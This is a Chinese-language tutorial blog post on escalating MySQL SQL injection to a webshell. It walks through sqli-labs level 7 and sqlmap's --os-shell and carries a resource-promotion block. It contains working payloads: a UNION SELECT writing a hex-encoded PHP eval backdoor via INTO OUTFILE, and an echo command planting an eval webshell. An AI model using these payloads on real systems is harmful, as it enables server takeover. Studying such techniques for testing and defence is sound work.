写点什么

【网络安全】SQL 注入新思维之 webshell 提权

  • 2022 年 5 月 30 日
  • 本文字数:2974 字

    阅读完需:约 10 分钟

【网络安全】SQL注入新思维之webshell提权

前言

大量的 hr 面试官都喜欢从 SQL 注入开始询问,所以留心了一下关于 SQL 注入的问题的频率。结果非常惊讶!不出意外的是--os-shell 名列榜首。


比如这道题:SQL 注入 getshell 的方式?


答:getshell 是指攻击者通过利用 SQL 注入获取系统权限的方法,Webshell 提权分两种:一是利用 outfile 函数,另外一种是利用**--os-shell**;UDF 提权通过堆叠注入实现;MOF 提权通过"条件竞争"实现


小提示:有 sql 注入试着––is–dba,如果有有绝对路径就––os–shell,不行扫后台,尝试用管理员账户密码登录

Webshell 提权

一、 into outfile

into outfile 利用的先决条件:


web 目录具有写权限,能够使用单引号知道网站绝对路径(根目录,或则是根目录往下的目录都行)secure_file_priv 没有具体值(在 mysql/my.ini 中查看


secure_file_priv:secure_file_priv 是用来限制 load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。


关于 secure_file_priv 的配置介绍:


secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制


所以如果我们要想使用 into outfile 函数写入一句话就需要将 secure_file_priv 的值设为没有值,那如何设置呢?


答:(1)看 secure-file-priv 参数的值:show global variables like '%secure%';若 secure_file_priv 的值默认为 NULL,则表示限制 mysqld 不允许导入|导出

(2)修改 secure_file_priv 的值:我们可以在 mysql/my.ini 中查看是否有 secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可;此时再查看 secure_file_priv 的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马

写入 webshell(以 sqli-labs 第七关为例)


【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥信息收集 80 条搜索语法

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析


  1. 注入点判断


因为我们发现输入正确/错误的语法显示说语法正确/错误,即页面只存在两种状态,判断为盲注。我们输入如下代码时,所以我们通过输入如下代码可以,通过回显获得情报!


?id=1’)) – -我们继续测试?id=3')) and sleep(5) --+



我们发现成功延时,所以注入点就为 1')),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹;最终根据显示出"你在......使用 outfile......"这个提示;我们就找到了他要是使用 SQL 注入"一句话木马"达到 getshll 的目的


  1. 判断列数



补充:我们使用 order by 语句判断列数,order by 3 时,正常显示,4 时不正常,判断为 3 列


  1. 写入 webshell



  • 加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话:<?php eval($_REQUEST[123]);?> ;建议进行十六进制转码(不用编码也可以)编码后在最前面加上 0X;最后我们将一句话木马进行十六进制编码后写入了根目录下的 outfile.php 文件中


*   `?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\xxxxxx\phpStudy\WWW\outfile.php' --+`
复制代码


补充:这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于 C 编译器,Java 编译器、一些配置文件的解析、Web 服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows 采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠""分隔路径的形式;不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是""的形式,结果也就不会出问题了


  1. 连接 webshell


补充:如果我们将 secure_file_priv 的值为设置为 null,我们在进行上面的写入操作发现并没有写进去原因如下:所以没有写进去的情况有两种:1.网站的路径不对,或者没有使用双斜杠进行转义;2.secure_file_priv 的值不是为空

二、-os-shell 原理

–os-shell 大致原理是将脚本插入到数据库(也可以是日志)中,然后生成相应的代码文件,获取 shell 即可执行命令;--os-shell 就是使用 udf 提权获取 WebShell。也是通过 into oufile 向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件


利用条件


要求为 DBA 数据库管理员权限(--is-dba:phpstudy 搭建的一般为 DBA)php 主动转义的功能关闭(PHP 的 GPC 关闭),能使用单双引号(需要单引号路径,不能使用 0x 编码)知道网站的绝对路径;文件不能覆盖写入,所以文件必须为不存在


–secure-file-priv没有值(该函数是能否执行-0s-shell 的关键):–secure-file-priv是 mysql5.7+的新参数,用于限制 LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录


  • secure_file_priv 为 NULL 时,说明限制 mysqld 不允许导入或导出

  • secure_file_priv 为 /tmp 时,说明限制 mysqld 只能在/tmp 目录中执行导入导出,其他目录不能执行

  • secure_file_priv 没有值时,说明不限制 mysqld 在任意目录的导入导出


补充:secure_file_priv 参数是只读参数,不能使用 set global 命令修改,需要在 my.cnf 或 my.ini,加入 secure_file_priv=''后重启 Mysql


sqlmap 在指定的目录生成了两个文件(文件名是随机的,并不是固定的)tmpbeewq.php 用来执行系统命令 tmpuqvgw.php 用来上传文件 secure_file_priv 没有具体值(在 mysql/my.ini 中查看)magic_quotes_gpc:(PHP magic_quotes_gpc 作用范围是:WEB 客户服务端;作用时间:请求开始时)

使用 Sqlmap 实现步骤

1.弱口令登录 2.抓包 3.复制抓包的内容,保存为 Alogin.txt(txt 文件)到 sqlmap 目录下 4.启动 sqlmap:sqlmap -r OAlogin.txt --os-shell5.选择语言(ASP,ASPX,JSP,PHP)6.输入绝对路径 7.写木马文件


  7.1:pwd //查看当前路径  7.2:echo '<?php @eval($_POST['a']); ?>'>> 123.php  //将木马写入123.php  7.3:cat 123.php //打印123.php文件的内容
复制代码


8.用 webshell 连接

路径(dns 外带查询)问题

产生路径问题的原因是什么?


答:对于大多数 sql 注入的写 Shell 方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为 outfile 相对路径无法写 shell,而是因为不知道路径,webshell 无法连接且通过相对路径的方式写出来的 shell 大概率是无法执行的,或者是权限不够写


dnslog 注入:即,dns 带外查询是属于 Mysql 注入的一种方法,可以通过查询相应的 dns 解析记录,来获取我们想要的数据



为什么需要它的帮忙?


答:一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用 sqlmap 直接去跑出数据,但在实际测试中,使用 sqlmap 跑盲注,有很大的几率,网站把 ip 给封掉,这就影响了我们的测试进度。


LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回


语法为:load_file(file_name),其中 file_name 是文件的完整路径


该函数需要满足的条件(如下所示):


1.文件必须位于服务器主机上


2.你必须具有该 FILE 权限才能读取该文件。拥有该 FILE 权限的用户可以读取服务器主机上的任何文件,该文件是 world-readable 的或 MySQL 服务器可读的,此属性与 secure_file_priv 状态相关


3.文件必须是所有人都可读的,并且它的大小小于 max_allowed_packet 字节

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
【网络安全】SQL注入新思维之webshell提权_网络安全_网络安全学海_InfoQ写作社区